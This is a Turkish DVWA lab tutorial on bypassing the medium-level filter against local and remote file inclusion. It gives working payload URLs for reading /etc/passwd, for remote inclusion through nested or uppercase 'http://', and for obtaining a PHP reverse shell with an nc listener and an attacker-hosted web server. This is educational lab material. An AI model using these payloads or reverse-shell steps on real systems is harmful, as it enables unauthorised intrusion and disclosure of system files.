Ders 9 - File Inclusion (Medium Level)
Bu yazıda güvenlik düzeyi Medium seviyesine yükseltilmiş DVWA'ya karşı LFI ve RFI için yapılabilecek güvenlik önlemleri incelenecektir.

Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten


bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden


erişebilirsiniz.

Dersin Hedefi

LFI ve RFI saldırılarına karşı ne gibi bir önlem alınabileceğini keşfedin.

LFI ve RFI'ya Karşı Medium Seviye Önlem

Geçen ders LFI ve RFI saldırılarında bulunmuştuk. O derste kullandığımız ekranın kaynak kodu şuydu:

Low Level:
<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Include the specified page
include($file);

?>


Güvenlik Low Level iken görüldüğü üzere page parametresinden gelen dosya adı olduğu gibi include() fonksiyonuna giriyor ve sayfaya dahil ediliyor. page parametresinden gelecek dosya adları konusunda bir denetleme mekanizmasına ihtiyaç vardır. Aksi takdirde dileyen dilediği dosya adını parametreye girebilir ve dilediği dosyayı sayfaya görüntületebilir. Güvenlik seviyesi Medium'a çıkarıldığında kaynak koddaki değişim aşağıdaki gibidir:

Medium Level:
<?php 

// The page we wish to display 
$file = $_GET[ 'page' ]; 

// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file ); 

// Include the specified page
include($file);
?>


Medium seviyesinin kaynak kodunda yer alan ilk str_replace() fonksiyonu ile page parametresine değer olarak girilen dosya ismindeki http:// ve https:// gibi karakterler varsa silinir. Ardından ikinci str_replace() fonksiyonu ile windows sistemlerde üst dizine çıkmayı sağlayan ..\ karakteri ile linux sistemlerde üst dizine çıkmayı sağlayan ../ karakteri dosya isminden varsa silinir. Böylelikle ilk planda kusursuz görünen güvenlik temin edilmiş olunur.

İlk str_replace() ile Remote File Inclusion (RFI) saldırılarına karşı önlem alınmışken, ikinci str_replace() fonksiyonu ile de Local File Inclusion (LFI) saldırılarına karşı önlem alınmıştır. Fakat Medium seviyesinde alınan bu önlemler aşılabilmektedir.

http:// ve https:// ‘lerden arındıran ilk str_replace() fonksiyonunu atlatıp yine RFI saldırısında bulunabilmenin yolu şudur: http:// karakterlerinin arasına http:// karakterlerini koymak. Neyi kastettiğimi sanırım aşağıdaki renklendirilmiş linkten daha iyi anlayacaksınız:



RFI:

localhost/dvwa/vulnerabilities/fi/?page=htthttp://p://zararlibirsite.com/c99.php

localhost/dvwa/vulnerabilities/fi/?page=Http://zararlibirsite.com/c99.php



Yukarıdaki birinci saldırı kodunu ele alacak olursak Medium Level'daki ilk str_replace() fonksiyonu aldığı page parametresinin değerini tarayacak ve kırmızı renkli karakterleri gördüğü an silecektir. Ardından str_replace() fonksiyonu kaldığı yerden taramaya devam edecektir. Fakat başa sarmayacaktır. Başa sarmadığı için arta kalanların birleşimi sonucu ortaya çıkan http:// karakterlerini fonksiyon yakalayamayacaktır. Böylelikle güvenlik aşılmış olacaktır ve RFI saldırısı gerçekleştirilmiş olacaktır.

Yukarıdaki ikinci saldırı kodunu ele alacak olursak Medium level'daki güvenlik önlemi case sensitive (yani büyük küçük harf duyarlı) tanımlandığı için küçük harflerle http:// yazmak yerine büyük harf kullanarak (örn; Http:// yazarak) önlem yine aşılabilecektir. str_replace() fonksiyonu büyük küçük harf duyarlı olmamalıydı. Dolayısıyla RFI saldırısı yine başarılı olacaktır.



LFI:

localhost/dvwa/vulnerabilities/fi/?page=..././etc/passwd

localhost/dvwa/vulnerabilities/fi/?page=file:///etc/passwd



Local File Inclusion'a karşı alınmış güvenlik önlemine göre birinci saldırı koduna bakacak olursak ikinci str_replace() fonksiyonu kırmızı karakterleri görecektir ve bu üst dizin karakterlerini silecektir. Kaldığı yerden tarama işlemine devam edecektir. Geride arta kalanlar ise birleştiğinde yine üst dizin karakterini (../) meydana getirecektir. Böylelikle önceki derste bahsedildiği gibi yine kullanıcı adları ve ait oldukları gruplar bilgisine LFI saldırısıyla yine ulaşılabilecektir.

İkinci saldırı koduna bakacak olursak file:/// kullanılmış. Bu yerel dosyaların adresi belirtecidir. file:/// güvenlik önleminde yasaklanmadığı için bu da lfi güvenlik önlemini aşmada başarıyla kullanılabilecektir.

LFI ve RFI'ya Karşı Medium Seviye Önlemi Atlatma

Medium güvenlik seviyesindeki rfi önlemini atlamak için şu link kullanılabilir.

RFI Payload:

http://IP/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.includekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt


Not: "IP" yazan kısım dvwa web sunucunun ip si ile güncellenmelidir.



Medium güvenlik seviyesindeki rfi önlemini atlamak için ayrıca şu link de kullanılabilir.

http://IP/dvwa/vulnerabilities/fi/?page=Http://www.includekarabuk.com/kitaplik/indirmeDeposu/rfi_test_saldiri/rfi_denemesi.txt




Bu payload'da güvenliği atlatmak için içiçe hthttp://tp:// kullanmak yerine büyük harf H (Http://) kullanılmıştır

[!] Uyarı:

Buradaki düzenlenen RFI saldırısı internet bağlantısı gerektirir.

Medium güvenlik seviyesindeki lfi önlemini atlamak için şu link kullanılabilir.

LFI Payload:

http://IP/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././..././etc/passwd

Not: "IP" yazan kısım dvwa web sunucunun ip si ile güncellenmelidir.



Medium güvenlik seviyesindeki lfi önlemini atlamak için ayrıca şu link de kullanılabilir.

http://IP/dvwa/vulnerabilities/fi/?page=file:///etc/passwd




Ekstra [RFI ile Reverse Shell Alma]

Medium güvenlik seviyesinde rfi ile reverse shell alma adımlarına geçelim.

Gereksinimler

* Saldırgan : Kali Linux 2022.1 VM
* Hedef Web Uygulama : DVWA ve WebGoat (Ubuntu 14.04 LTS) VM

1. Saldırgan kali linux makinesinde varsayılan olarak

/usr/share/webshells/php/php-reverse-shell.php

dizininde duran reverse shell script'ini Desktop'a kopyalar.



2. Saldırgan reverse shell script'i içerisindeki ip (KALI_IP) ve port (1337) bilgilerini günceller.





3. Saldırgan ardından dinleme moduna geçer.

Terminal #1:

nc -nvlp 1337



4. Saldırgan reverse shell script'ini rfi ile dvwa sunucusuna enjekte edebilmek için kendi sisteminde web sunucu ayağa kaldırır.

Terminal #2:

cd /root/Desktop/
python2 -m SimpleHTTPServer 9000



5. Saldırgan son olarak rfi saldırısını düzenler.

http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=hthttp://tp://SALDIRGAN_WEB_SERVER_IP:9000/php-reverse-shell.php

veya

http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=Http://SALDIRGAN_WEB_SERVER_IP:9000/php-reverse-shell.php

Not:

DVWA_WEB_SERVER_IP (dvwa sunucusu ip'si) ve SALDIRGAN_WEB_SERVER_IP (kali ip'si) kendi sisteminize göre güncellenmelidir.







( İkinci Payload ile Reverse Shell )






Görüldüğü gibi medium güvenlik seviyesinde güvenliği bypass'layıp reverse shell başarıyla almış bulunmaktayız.

Ekstra 2 [LFI ile Reverse Shell Alma]

Medium güvenlik seviyesinde lfi ile reverse shell alma adımlarına geçelim.

Gereksinimler

* Saldırgan : Kali Linux 2022.1 VM
* Hedef Web Uygulama : DVWA ve WebGoat (Ubuntu 14.04 LTS) VM

LFI ile reverse shell alabilmek için lfi saldırısını file upload saldırısı ile birleştirmek şarttır. Şimdi adımlara geçelim.

1. Saldırgan kali linux makinesinde varsayılan olarak

/usr/share/webshells/php/php-reverse-shell.php

dizininde duran reverse shell script'ini Desktop'a kopyalar.





2. Saldırgan reverse shell script'i içerisindeki ip (KALI_IP) ve port (1337) bilgilerini günceller.





3. Saldırgan reverse shell script'inin uzantısını txt yapar.

cd /root/Desktop
cp php-reverse-shell.php php-reverse-shell.txt




Böyle yaparız, çünkü lfi saldırısını file upload saldırısı ile birleştireceğiz ve hedef web uygulama file upload mekanizmasının zararsız bir dosya alıyor durumunu simule etmek istiyoruz. txt demek zararsız dosya demektir.

4. Saldırgan dvwa web uygulamanın güvenlik seviyesini low'a çeker.



Bunu yaparız, çünkü hedef web uygulamanın file upload'da uzantı kontrolüne takılmak istemiyoruz.

5. Saldırgan web uygulamadaki bulduğu farklı bir zafiyet yoluyla (bir file upload zafiyeti yoluyla)

php-reverse-shell.txt

metin belgesini upload'lar.





5. Saldırgan dvwa web uygulama güvenlik seviyesini Medium'a çeker.



6. Saldırgan son olarak lfi saldırısını düzenler.

Payload:

http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=file:///var/www/dvwa/hackable/uploads/php-reverse-shell.txt

Not: DVWA_WEB_SERVER_IP yerine sisteminizdeki dvwa web uygulaması ip 'si konulmalıdır.





Bu yazı 16.01.2016 tarihinde, saat 21:24:18'de yazılmıştır. 24.03.2025 tarihi ve 23:34:49 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 3505
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :